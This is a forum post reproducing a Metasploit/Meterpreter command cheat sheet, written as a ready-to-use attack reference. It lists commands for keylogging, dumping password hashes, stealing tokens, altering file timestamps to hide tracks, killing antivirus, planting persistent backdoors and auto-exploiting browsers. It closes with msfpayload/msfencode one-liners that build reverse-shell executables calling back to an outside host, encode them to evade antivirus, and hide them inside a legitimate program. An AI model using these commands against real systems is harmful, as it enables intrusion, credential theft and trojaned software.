Active Members Fi8sVrs Posted June 5, 2012 Active Members Report Posted June 5, 2012 MeterpreterProcess:getuid hows user idgetpid shows meterpreter process idps ists running processesmigrate [ps] migrates to given process (one that wont end/crash)KeyLog: Ensure you are monitoring the correct session (Explorer.exe/WinLogin.exe)idletime shows how long machine has been idle forkeyscan_start starts the key loggerkeyscan_dump outputs captured datakeyscan_stop stops the keyloggerChannels: This allows you to do more than one thing at a time in meterpreterexecute -f cmd.exe -c opens a new cmd.exe and creates a new channel for itchannel -l lists the open channelsread [channel] outputs data from channelinteract [channel] allows you to jump into the channelwrite [channel] sends data to the channelclose [channel] kills the channelSession: Session0 is the local desktop. Session1+ are rdp sessions.enumdesktops shows currently open desktops such as winlogin etcgetdesktop shows current desktop session meterpreter is insetdesktop changes to an already open desktop sessionuictl disable keyboard disables the keyboard of the desktop sessionFileEdit: Ability to edit files atributes such as MACEtimestomp file.txt -c "30/12/1980 12:12:34" changes file stamp of filetimestomp file.txt -f sourcefile.txt copys timestamp from sourcefile.txtuse priv to load the priv extrashashdump to dump the SAM file Tokens: Incognito allows token stealing and other token functionsuse incognito loads the incognito into meterpreterlist_tokens -u shows stealable tokensimpersonate_token allows a token to be stolensteal_token [psid] allows ability to steal token of a processrev2self reverts to origional tokenrun post/windows/gather/cachedump gets cached domain hashesneed to wget http://lab.mediaservice.net/code/cachedump.rb to framework3/modules/post/windows/gatherSniffer: Allows promiscuos mode to be enableduse sniffer loads the sniffer functionssniffer_interfaces list interface 1,2,3,4,5,6,etcsniffer_start [n] starts the sniffer for the interfacesniffer_stats [n] lists packets, time, etc..sniffer_dump [n] file.pcap dumps the capture locallysniffer_stop you guessed it Meterpreter Scripts: These scripts perform various functions on the victimrun checkvm checks if the target is a vmrun credscollect dumps hashes and tokens to screenrun enum_firefox dumps temp internet files from firefox – cookies, passwords, etc run get_application_list shows installed applicationsrun killav trys to stop all known AV progsrun get_local_subnets enumerates local subnet inforun metsvc creates a backdoorrun persistence survices a reboot (without admin or system)run schedulme -e file.exe -m 30 you‘ll need to man load the meterpreter.exe payloadrun kitrap0d allows priv escalation using CVE-2010-0232web browser exploituse auxilary/server/browser_autopwnset LHOST [local_ip]set SRVPORT 80set URIPATH /run#now get the client to connect to you (use ettercap dns)inbuilt sqlite dbdb_driver sqlite3 starts the db using sqlite (file based)db_connect job creates a new db called job and connects to itdb_hosts shows hostsdb_services shows visible servicesdb_nmap -sS [target_ip] performs nmap against target and stores in dbdn_import_nmap_xml allows inportdb_autopwn -p -e -r -t autoown from db vulnsMeterpreter Payload Backdoor./msfpayload windows/meterpreter/reverse_tcp LHOST=phillipshome.getmyip.com LPORT=4444 X > clear.exe./msfpayload windows/meterpreter/reverse_tcp LHOST=phillipshome.getmyip.com LPORT=4444 R | ./msfencode -e x86/shikata_ga_nai -c 5 -t exe -o encoded.exesets the payload as meterpreter and then encodes it 5 times to bypass AV./msfpayload windows/meterpreter/reverse_tcp LHOST=phillipshome.getmyip.com LPORT=4444 R | ./msfencode -t exe -x /mnt/hgfs/tools/exploits/spider.exe -k -o /share/spider.exe -e x86/shikata_ga_nai -c 5#this fucker bypasses sophos ./msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.120 LPORT=4444 EOne Liners# One liner meterpreter reverse_tcp/pentest/exploits/framework3/msfpayload windows/meterpreter/reverse_tcp LHOST=`ifconfig | grep ‘inet addr:’| grep -v ’127.0.0.1? | cut -d: -f2 | awk ‘{ print $1}’` LPORT=4444 X > /root/clear.exe# One liner shikata encoded meterpreter reverse_tcp/pentest/exploits/framework3/msfpayload windows/meterpreter/reverse_tcp LHOST=`ifconfig | grep ‘inet addr:’| grep -v ’127.0.0.1? | cut -d: -f2 | awk ‘{ print $1}’` LPORT=4444 R | /pentest/exploits/framework3/msfencode -e x86/shikata_ga_nai -c 5 -t exe -o /root/encoded.exe# One liner encoded and hidden in windows exe meterpreter reverse_tcp/pentest/exploits/framework3/msfpayload windows/meterpreter/reverse_tcp LHOST=`ifconfig | grep ‘inet addr:’| grep -v ’127.0.0.1? | cut -d: -f2 | awk ‘{ print $1}’` LPORT=4444 R |/pentest/exploits/framework3/msfencode -t exe -x /mnt/hgfs/tools/exploits/spider.exe -k -o /root/spider.exe -e x86/shikata_ga_nai -c 5Metasploit Notes | phillips321.co.uk Quote